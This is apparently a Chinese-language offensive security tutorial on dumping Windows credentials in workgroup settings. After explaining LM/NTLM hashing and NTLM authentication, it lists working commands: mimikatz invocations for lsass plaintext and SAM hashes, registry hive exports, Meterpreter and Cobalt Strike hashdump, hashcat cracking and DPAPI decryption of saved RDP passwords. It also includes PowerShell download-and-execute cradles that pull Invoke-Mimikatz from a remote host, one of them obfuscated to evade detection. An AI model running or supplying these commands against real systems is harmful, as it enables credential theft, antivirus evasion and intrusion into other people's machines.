工作组密码凭证获取
windows密码凭证获
windwos hash
hash 简介
这个加密函数对一个任意长度的字符串数据进行一次数学加密函数运算,然后返回一个固定长度的字符串。
简单地说,就是将一个任意长度的消息压缩到某个固定的长度的信息摘要的函数
windows hash
简单地说就是windwos用户的密码经过hash加密之后,就被称为windwos hash
对于windows系统来说,现在有两种方式及进行hash
LAN Manager(LM)哈希和NTLAN(NTLM)哈希
对于最新的windwos系统来说,使用NTLMv2 以及 Kerberos 验证体系
2000 xp 2003 vista win7 2008 2012 LM √ √ √ NTLM √ √ √ √ √ √ √ 对于前面三个系统来说,当密码超过了14位才会使用NTML加密
用户名称:RID:LM-HASH值:NTLM-HASH值
test:1003:E52CAC67419A9A22664345140A852F61:67A54E1C9058FCA16498061B96863248:::
windwos的系统密码hash默认情况下由两个部分组成目的一个部分是LM-HASH,第二个部分是NTML-HASH
当LM-HASH是AAD3B435B51404EE(分界符,密码不包含这个)AAD3B435B51404EE表示空密码,或者是未使用NTML-HASH
windwos hash储存的地方有两个
对于本机,存储到对应用户的,的文件位置
C:\windows\system32\config\SAM
对于域环境来说文件,文件存储在域控上面
C:\windows\NTDS\NTDS.dit
LM-HASH
LM-HASH 是windows系统使用的第一种密码算法,这个算法由于比较古老了很容易通过暴力破解得到明文凭据
这个密码算法在LAN Manager协议当中使用
一直等到NT LAN Manager(NTML)哈希的出现
使用范围:
windows xp /windows server 2003 之前
从windows vista / windows server 2008开始默认情况下就已经禁用了该算法
LM算法基础是 DES
生成原理
缺点:
密码长度最大只能为14位
密码不区分大小写
如果密码长度小于7,那么密码hash之后是固定的
一个14个字符的密码分成7+7个字符,并且分别为这两个半部分计算哈希值。这种计算哈希值的方式 使破解难度成倍增加,因为攻击者需要将7个字符(而不是14个字符)强制暴力破解。这使得14个字 符的密码的有效强度等于,或者是7个字符的密码的两倍,该密码的复杂度明显低于14个字符的密码 的理论强度
DES密码强度不高
NTLM-HASH
NT LAN Manager(NTML)
NT LAN Manager(NTML)hash是Windwos系统认可的算法,取代了老的LM-HASH,一般保存在Security Account Manager(SAM)中
windows vista/windwos 7/windows server 2008以及后面的系统中,NTML哈希算法默认是启用的
windwos认证基础
windows认证包括三个部分
本地认证:
用户直接操作计算机登录账户
网络认证
远程连接到工作组中的某个设备
域认证
登录到与环境中的某一个设备
本地认证
通过这个图,我们可以知道,我们可以直接从lsass.exe中获取到明文密码
具体的过程是:
用户输入密码(winlogon.exe)
系统收到密码后将用户的输入的密码算成NTML-HASH
与SAM数据库中的数据对比
数据库的文件在
(%SystemRoot%\system32\config\sam)
匹配则登录成功,不匹配则登录失败
本地认证中用来处理用户输入密码的进程为 lsass.exe ,密码会在这个进程中明文保存,供该进程 将密码计算成 NTLM Hash 与 SAM 进行比对,我们使用 mimikatz 来获取的明文密码,便是在这个进 程中读取到的
网络认证
网络认证即在工作组环境下远程登陆另一台电脑所采用的认证机制
NTML协议的认证过程分为3步,也叫挑战相应机制
graph TB client(客户端发送用户名)-->server(服务端查询用户是否存在) server-->|没有用户|noUser(认证失败) server-->|存在用户|havaUser(随记生成16位challenge,本地的密码加密,生成challenge1) havaUser-->clientChanlenge(发送未加密的chalenge给client) clientChanlenge-->getChanlenge(使用用户密码NTML Hash对chalenge加密,并将结果发送server) getChanlenge-->exChanllenge(对比) exChanllenge-->|不匹配|noUser exChanllenge-->|客户端返回的结果和server 加密的结果 匹配|ok(认证失败)
A. 协商
就是讨论使用哪个版本,因为NTML有两个版本
双方确定使用的协议版本,NTLM 存在V1和V2两个版本,即 Net-NTLM v1 hash、Net-NTLM v2 hash,具体区别就是加密方式不同
在NTLM认证中,NTLM响应分为NTLM v1,NTLMv2,NTLM session v2三种协议,不同协议使用不 同格式的Challenge 和加密算法
B. 质询
客户端向服务器端发送用户信息(用户名)请求
服务器接受到请求后,判断本地用户列表是否存在客户端发送的用户名,如果没有返回认证失败,如 果有,生成一个16位的随机数,被称之为”Challenge”, 然后使用登录用户名对应的NTLM Hash加密 Challenge(16位随机字符), 生成Challenge1保存在内存中。同时,生成Challenge1后,将 Challenge(16位随机字符)明文发送给客户端。
客户端接受到Challenge后,使用自己提供的账户的密码转换成对应的NTLM Hash,然后使用这个
NTLM Hash加密Challenge生成Response,然后将Response发送至服务器端。
C. 验证
在质询完成后,验证结果,是认证的最后一步。
服务端收到客户端发送的Response后,与之前保存在内存中的Channelge1比较,如果相等认证通过 其中,经过NTLM Hash加密Challenge的结果在网络协议中称之为Net NTLM Hash(不能直接用来
进行哈希传递攻击,但可以通过暴力破解来获取明文密码)
其中的关键点在于:第二步中客户端发送的是 NTLM 哈希值与随机字符串加密的结果,而这个 NTLM 哈希是由用户输入的密码本地计算得出的,所以在这个步骤中,只要能提供正确的 NTLM 哈希即使不知道正确的密码也可通过认证
系统用户凭证获取
前置知识
用户权限判断
1
whoami /all
如果发现这个组并且存在大量的权限的话,那就是完全的管理员权限
明文密码的提取方式
明文密码存放在 lsass.exe 的进程的内存中
当用户输入明文密码 -> lsass.exe 读取这个明文密码存入缓存,也就是进程的堆上面(mimikatz 读取明文密码的方式也是直接读取这个内存的数据)
这样读取明文密码有两个弊端
- 只能读取当前已经登录的用户的密码
- 微软已经关闭这个方式,已经不再缓存明文密码
Mimikatz 猕猴桃
这个需要在管理员权限下使用
获取命令
随便输入一个字符
获取模块
可以输入两个
::
下面以两种模式简绍
本地交互模式
建议都先提权
提权
1
privilege::debug
提权到可调式权限
记录日志
会记录我们所操作的命令和结果
1
log 1.txt
记录到1.txt
获取密码
1
sekurlsa::logonpasswords
非交互的
1
mimikatz.exe "privilege::debug" "log 1.txt" "sekurlsa::logonpasswords" "exit"
获取NTML hash
连着一起使用
1
2
3
4token::elevate # 可以获取system权限
log res.txt
lsadump::sam
lsadump::secrets非交互式的
1
mimikatz.exe "privilege::debug" "log 1.txt" "token::elevate" "lsadump::sam" "exit"
powersehll本地执行mimikatz脚本
1
2
3powershell -ep bypass Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords"'
powershell -ep bypass Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "lsadump::sam"'
powersehll远程执行mimikatz脚本
需要托托管到远程
1
2
3powershell IEX (New-ObjectNet.WebClient).DownloadString('http://192.168.81.154:8000/Invoke-Mimikatz.ps1');Invoke-Mimikatz –DumpCreds
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz-DumpCreds
powershell 混淆执行
1
powershell -c "('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.81'+'.154:8000/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke-Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"
Procdump+Mimikatz
ProcDump是一个命令行程序,可以很方便地将系统正在运行的进程转存储生成为dump文件,又因为 是微软自家出品,所以可以过很多杀软。
Procdump导出lsass 进程
1 |
|
使用 mimikatz 还原密码
1 |
|
注册表导出hash
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY security.hiv
1 |
|
Impacket
https://github.com/SecureAuthCorp/impacket/tree/master/examples
1 |
|
LaZagne
1 |
|
Meterpreter获取Hash
查询是什么身份
1
getuid
获取hash值
1
hashdump
可以反映出相关的hash
提权到system
1
getsystem
加载猕猴桃模块
1
load kiwi
获取明文密码
1
2creds_all
kiwi_cmd sekurlsa::logonpasswords返回之前的权限
1
rev2self
获取sam数据库
更加高级的hashdump 模块,用于提高获取hash 的可能性
1
run post/windows/gather/smart_hashdump
但是前提依然是需要高权限才能获取成功
CS 获取hash
主要还是使用 Mimikatz
获取hash
1
hashdump
获取密码
1
2logonpasswords
mimikatz sekurlsa::logonpasswords获取sam
1
mimikatz lsadump::sam
cs会自动收录密码凭证
hash解密
在线解密
hashcat
LM hash
1
hashcat -a 0 -m 3000 --force 'E52CAC67419A9A224A3B108F3FA6CB6D' password.txt
-a 0: 指定攻击模式为直接攻击(Straight attack)。
-m 3000: 指定哈希类型为LM Hash。
-force: 强制执行,忽略某些警告或错误。
‘E52CAC67419A9A224A3B108F3FA6CB6D’:要破解的LM Hash。
password.txt:包含候选密码的字典文件。ntml hash
1
hashcat -a 0 -m 1000 --force '1F2916B7561885601287D5F693567A34' password.txt
-a 0:指定攻击模式为直接攻击。
-m 1000: 指定哈希类型为NTLM Hash。
-force: 强制执行,忽略某些警告或错误。
‘1F2916B7561885601287D5F693567A34’: 要破解的NTLM Hash。
password.txt: 包含候选密码的字典文件。
其他密码凭证获取
RDP连接密码解密
查看本地机器本地连接过的目标主机
1
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
查看本地用用户此目录下是否存在RDP密码文件
1
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
查看保存在本地的远程主机信息
1
cmdkey /list
选择一个密码文件对其进行解密
在此之前我们必须得先记录一个guidMasterKey 的值,然后要通过guidMasterKey 找对应的 Masterkey
现在使用使用cs中的mimikatz 进行复现,在cs中使用mimikatz 就直接在前面添加mimikatz 就可以了
1
2
3privilege::debug
dpapi::cred /in:C:\Users\mingy\AppData\Local\Microsoft\Credentials\1E85A94EE31F584E484B8120E3ADA266记录guidMasterKey
1
sekurlsa::dpapi
根据 guidMasterKey 找到对应的 Masterkey
通过Masterkey解密pbData数据,拿到明文RDP连接密码
1
dpapi::cred /in:C:\Users\mingy\AppData\Local\Microsoft\Credentials\1E85A94EE31F584E484B8120E3ADA266/masterkey:f391aa638da6b6d846685f84660ee638bd6d3122214de34285b4dd3bd827a5c3925c5bd7a448c175457c19b2556c9f6f5248ef9256060a5b74c1264d3a5a99f8
非交互式
1
mimikatz.exe "privilege::debug" "dpapi:cred /in:filepath"
这里的file path 可以是需要读取的文件路径,比如
%userprofile%\AppData\Local\Microsoft\Credentials\*
MySQL数据库密码破解
一旦获取了网站一定的权限后,如果能够获取MySQL中保存用户数据,通过解密后,即可通过正常途 径来访问数据库;一方面可以直接操作数据库中的数据,另一方面可以用来提升权限。 MySQL数据库用户密码跟其它数据库用户密码一样,在应用系统代码中都是以明文出现的,在获取文 件读取权限后即可直接从数据库连接文件中读取。一般都包含有数据库类型,物理位置,用户名和密码等信息
MySQL数据库文件类型
“.frm” 是描述表结构的文件 “.MYD” 是表的数据文件 “.MYI” 是表数据文件中任何索引的数据树
一般是单独存在一个文件夹中与用户有关的一共有三个文件即user.frm、user.MYD和user.MYI,MySQL数据库用户密码都保存 在user.MYD文件中,包括root用户和其他用户的密码。
MySQL加密方式
MYSQL数据库的认证密码有两种方式MYSQL 4.1版本之前是MYSQL323加密,MYSQL 4.1和之后的版本都是MYSQLSHA1加密MYSQL数据库中自带 Old_Password(str) 和 Password(str)函数,它们均可以在MYSQL数据库里 进行查询,前者是MYSQL323加密,后者是MYSQLSHA1方式加密。
MYSQL323加密中生成的是16位字符串,而在MYSQLSHA1中生成的是41位字符串,其中*是不加入实 际的密码运算中,MYSQLSHA1加密的密码的实际位数是40位
获取mysql数据库的hash值
只需要将user.MYD文件放进二进制编辑器就可以
然后可以尝试对其解密
hash解密
hash网站
hashcat
john the ripper 破解
感觉这个会快很多
应用程序密码解密
对密码已保存在 Windwos 系统上的部分程序进行解析,包括: Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品(Xshell,Xftp)。
ackBrowserData 是一个浏览器数据(密码|历史记录|Cookie|书签|信用卡|下载记录|localStorage|浏览器插件)的导出工具,支持全平台主流浏览器。